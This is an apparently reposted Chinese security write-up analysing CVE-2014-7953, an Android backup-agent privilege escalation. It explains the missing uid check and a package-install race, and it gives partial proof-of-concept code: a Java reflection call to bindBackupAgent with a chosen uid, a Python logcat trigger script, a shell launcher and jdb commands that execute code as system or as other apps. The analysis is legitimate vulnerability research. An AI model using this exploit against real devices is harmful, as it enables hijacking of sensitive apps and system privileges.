<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/5752

            0x00 摘要


            CVE-2014-7953是存在于android backup agent中的一個提權漏洞。ActivityManagerService中的bindBackupAgent方法未能校驗傳入的uid參數,結合另外一個race condition利用技巧,攻擊者可以以任意uid(應用)身份執行代碼,包括system(uid 1000)。本文對該漏洞進行了詳細分析,并給出了利用EXP。攻擊的前提條件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一個滿足條件的attack surface。

            0x01 背景介紹


            BackupService是Android中提供的備份功能,在備份操作中,系統的BackupManager從目標應用獲取對方指定的備份數據,然后交給BackupTransport進行數據傳輸。在恢復備份操作中,BackupManager從Transport中拿回數據并傳遞給目標應用進行恢復。常見的場景是用戶應用的數據備份到Google Cloud,用戶在新手機上登錄Google賬號時數據就被自動恢復回去。

            當然想使用備份功能的應用必須實現BackupAgent組件,繼承BackupAgent類或者BackupAgentHelper類,并在AndroidManifest.xml中聲明自己,還需要向一個BackupService注冊。

            在BackupManager進行備份或恢復時,其會以目標應用BackupAgent為內容啟動目標應用進程,調用其onCreate函數,以方便其進行具體的應用邏輯相關的備份和恢復操作。

            0x02 漏洞成因


            在上文的鋪墊之后,我們來看這個漏洞的成因。前面提到BackupAgent會在進行恢復時被調用,具體到ActivityManagerService中的bindBackupAgent函數:

            #!java
            // Cause the target app to be launched if necessary and its backup agent
            12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the
            12820    // activity manager to announce its creation.
            12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
            12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
            12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
            12824
            12825        synchronized(this) {
            /*...*/
            12833            // Backup agent is now in use, its package can't be stopped.
            12834            try {
            12835                AppGlobals.getPackageManager().setPackageStoppedState(
            12836                        app.packageName, false, UserHandle.getUserId(app.uid));
            12837            } catch (RemoteException e) {
            12838            } catch (IllegalArgumentException e) {
            12839                Slog.w(TAG, "Failed trying to unstop package "
            12840                        + app.packageName + ": " + e);
            12841            }
            12842
            12843            BackupRecord r = new BackupRecord(ss, app, backupMode);
            12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
            12845                    ? new ComponentName(app.packageName, app.backupAgentName)
            12846                    : new ComponentName("android", "FullBackupAgent");
            12847            // startProcessLocked() returns existing proc's record if it's already running
            12848            ProcessRecord proc = startProcessLocked(app.processName, app,
            12849                    false, 0, "backup", hostingName, false, false, false);
            12850            if (proc == null) {
            12851                Slog.e(TAG, "Unable to start backup agent process " + r);
            12852                return false;
            12853            }
            12854
            12855            r.app = proc;
            12856            mBackupTarget = r;
            12857            mBackupAppName = app.packageName;
            12858
            12859            // Try not to kill the process during backup
            12860            updateOomAdjLocked(proc);
            12861
            12862            // If the process is already attached, schedule the creation of the backup agent now.
            12863            // If it is not yet live, this will be done when it attaches to the framework.
            12864            if (proc.thread != null) {
            12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
            12866                try {
            12867                    proc.thread.scheduleCreateBackupAgent(app,
            12868                            compatibilityInfoForPackageLocked(app), backupMode);
            12869                } catch (RemoteException e) {
            12870                    // Will time out on the backup manager side
            12871                }
            12872            } else {
            12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
            12874            }
            12875            // Invariants: at this point, the target app process exists and the application
            12876            // is either already running or in the process of coming up.  mBackupTarget and
            12877            // mBackupAppName describe the app, so that when it binds back to the AM we
            12878            // know that it's scheduled for a backup-agent operation.
            12879        }
            12880
            12881        return true;
            12882    }
            

            ActivityManagerService對外通過Binder暴露了這個接口,當然開頭就要求了調用者必須持有android.permission.BACKUP權限,而shell是持有這個權限的。bindBackupAgent最終會將傳入的攻擊者可控的ApplicationInfo傳遞給startProcessLocked,并最終通過scheduleCreateBackupAgent調用其onCreate函數。

            而ApplicationInfo中的uid可以被任意指定,這是該漏洞的根本原因。

            0x02 漏洞利用


            但是想要利用這個漏洞還會遇到幾個關鍵的問題,需要通過其他方法來繞過。

            setPackageStoppedState的權限檢查


            從代碼中可以看到,在startProcessLocked之前會先調用setPackageStoppedState,將可能正在運行的目標package置Stopped狀態。這要求binder調用的發起者持有CHANGE_COMPONENT_ENABLED_STATE權限,否則會拋出SecurityException,終止函數運行。很遺憾這是一個系統用戶才持有的權限,shell是沒有的,強行調用會拋如下異常:

            enter image description here

            但是可以觀察到的是,startPackageStoppedState在拋出IllegalArgumentException時會被catch住,打一個log并繼續執行,那么通過PackageManager安裝包時的race condition,或者說TOCTOU,可以打一個時間差。

            一個猥瑣的步驟如下:

            正常的情況下,當包存在時,會是如下時序:

            enter image description here

            包不存在時,會是如下時序。此時process可以被創建出來,但會立即死亡因為找不到load的代碼。極罕見的情況下可能會停留在FC對話框而可以利用。

            enter image description here

            TOCTOU利用時序圖如下:

            enter image description here

            這里面關鍵點是打好時間差,例如可以擴大classes.dex的體積,增加dexopt的時間。在N7上測試成功的POC是通過腳本監控logcat中Copying native libraries to,在此刻觸發bindBackupAgent調用,基本每次都能成功。

            handleCreateBackupAgent的檢查

            跟一下調用鏈:

            #!java
                    public final void scheduleCreateBackupAgent(ApplicationInfo app,
            658                CompatibilityInfo compatInfo, int backupMode) {
            659            CreateBackupAgentData d = new CreateBackupAgentData();
            660            d.appInfo = app;
            661            d.compatInfo = compatInfo;
            662            d.backupMode = backupMode;
            663
            664            sendMessage(H.CREATE_BACKUP_AGENT, d);
            665        }
            
            public void handleMessage(Message msg) {
            //omit
                            case CREATE_BACKUP_AGENT:
            1337                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
            1338                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
            1339                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
            1340                    break;
            //omit
            }
            
            // Instantiate a BackupAgent and tell it that it's alive
            2428    private void handleCreateBackupAgent(CreateBackupAgentData data) {
            2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
            2430
            2431        // Sanity check the requested target package's uid against ours
            2432        try {
            2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo(
            2434                    data.appInfo.packageName, 0, UserHandle.myUserId());
            2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) {
            2436                Slog.w(TAG, "Asked to instantiate non-matching package "
            2437                        + data.appInfo.packageName);
            2438                return;
            2439            }
            2440        } catch (RemoteException e) {
            2441            Slog.e(TAG, "Can't reach package manager", e);
            2442            return;
            2443        }
            //omit
            2448        // instantiate the BackupAgent class named in the manifest
            2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
            2450        String packageName = packageInfo.mPackageName;
            //omit
            2461
            2462        BackupAgent agent = null;
            2463        String classname = data.appInfo.backupAgentName;
            2464
            2465        // full backup operation but no app-supplied agent?  use the default implementation
            2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
            2467                || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
            2468            classname = "android.app.backup.FullBackupAgent";
            2469        }
            2470
            2471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)
            
            2472            IBinder binder = null;
            2473            try {
            2474                if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
            2475
            2476                java.lang.ClassLoader cl = packageInfo.getClassLoader();
            2477                agent = (BackupAgent) cl.loadClass(classname).newInstance();
            2478
            2479                // set up the agent's context
            2480                ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
            2481                context.setOuterContext(agent);
            2482                agent.attach(context);
            2483
            2484                agent.onCreate();
            2485                binder = agent.onBind();
            2486                mBackupAgents.put(packageName, agent);
            2487            } catch (Exception e) {
            2488                //omit
            2496            }
            //omit
            2508    }
            2509
            

            該函數的作用是在Package中尋找定義的BackupAgent類,如果不存在則以android.app.backup.FullBackupAgent代替,并執行其onCreate函數。

            如果控制了進程uid為system,在onCreate函數放置我們的代碼就萬事大吉了。但很遺憾開頭就有一個檢查,對比當前進程的uid(注意ActivityThread的代碼是在被啟動package的進程空間內執行的,所以Process.myUid即是目標package的uid)和PackageManager在安裝時記錄的uid,不符合則log并退出。這就砍掉了改onCreate利用的想法。

            但天無絕人之路,jdwp come to rescure. 進程和VM已經起來了,安裝包的debuggable flag又是攻擊者可指定的,那么jdwp attach上去執行代碼,就柳暗花明又一村。

            0x03 喜聞樂見的shell...嗎


            順利的話system身份進程已經啟動。

            enter image description here

            如果我們再去打開測試應用,會看到兩個不同uid的同package進程并存,如下圖:

            enter image description here

            這里會有兩種情況:

            對于這兩種情況,attach上之后觸發的斷點也并不一樣。對于第一個來說,線程會block在nativePollOnce上,如下圖所示:

            enter image description here

            這種情況利用的一個關鍵因素是需要讓線程跳出nativePollOnce,也就是說需要讓其接收到一個消息,然后才能下斷點執行代碼, 但詭異之處就在于這時候起的進程是一個空殼,不存在GUI界面,常規的操作觸發和intent觸發都是沒有效果的,這豈不是強人所難?這里就需要一個任何ActivityThread都會接收到的非GUI事件非組件的事件消息并觸發它,才能跳出這個輪回。通過某種猥瑣的方式,是可以做到這點的,讀者可以思考下哪些可以達到這個目的。

            第二種則會因為異常捕獲斷在handleApplicationCrash上,這種比較好處理,直接下斷點即可。

            總之我們利用intellij或者jdb作為載體,通過jdwp即可以system權限或者以其他uid的身份執行代碼。

            附效果截圖:

            system:

            enter image description here

            當然我們也可以變幻成什么xx衛士啊,xx錢盾,xx付寶之類進程的uid,從而控制這些敏感應用。附xx衛士的截圖:

            enter image description here

            可以看到我們的應用已經和xx衛士是一個uid同床共枕了,接下來怎么發揮就看諸君想象力了。

            0x04 部分POC:


            myapp:

            #!java
            public class Test {
            
                public static void main(String []args)
                {
                    test(Integer.parseInt(args[0]));
                }
            
                public static void test(Integer uid)
                {
                    try {
                        Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
                        Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
            
                        Object iActivityManager = bindBackupAgent.invoke(null);
            
                        Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
            
                        ApplicationInfo applicationInfo = new ApplicationInfo();
                        applicationInfo.dataDir = "/data/data/com.example.myapp";
                        applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
                        applicationInfo.processName = "com.example.myapp";
                        applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
                        applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
                        applicationInfo.taskAffinity = "com.example.myapp";
                        applicationInfo.packageName = "com.example.myapp";
                        applicationInfo.flags = 8961606;
                        applicationInfo.uid = uid;
                        bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
                    } catch (ClassNotFoundException e) {
                        e.printStackTrace();
                    } catch (NoSuchMethodException e) {
                        e.printStackTrace();
                    } catch (InvocationTargetException e) {
                        e.printStackTrace();
                    } catch (IllegalAccessException e) {
                        e.printStackTrace();
                    }
                }
            }
            

            將其編譯為jar并通過app_process執行。注意在myapp沒有安裝時直接執行會造成后續INSTALL_FAILED_UID_CHANGED錯誤,具體原因可參照我之前寫的denial-of-app分析。

            監控py腳本:

            #!python
            from subprocess import Popen, PIPE
            import os
            KW = "Copying native libraries to "
            #KW = "dexopt"
            os.system("adb logcat -c")
            p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
            with p.stdout:
                for line in iter(p.stdout.readline, b''):
                    if line.find(KW) != -1:
                        print line
                        os.system("adb shell /data/local/tmp/test.sh 1000")
            p.wait()
            

            test.sh

            #!bash
            export ANDROID_DATA=/data/local/tmp/
            export CLASSPATH=/data/local/tmp/MyTest.jar
            app_process /data/local/tmp/ com.example.MyTest $@
            

            jdb命令:

            #!java
            threads
            thread 0xxxxxx
            suspend
            stop in android.os.MessageQueue next
            run
            print new java.lang.Runtime.exec("id")
            

            0x05 修復:


            Google對該漏洞的修復非常簡單,對bindBackupAgent接口校驗了FULL_BACKUP這個system級別的權限,砍掉了最初的入口。

            References:

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线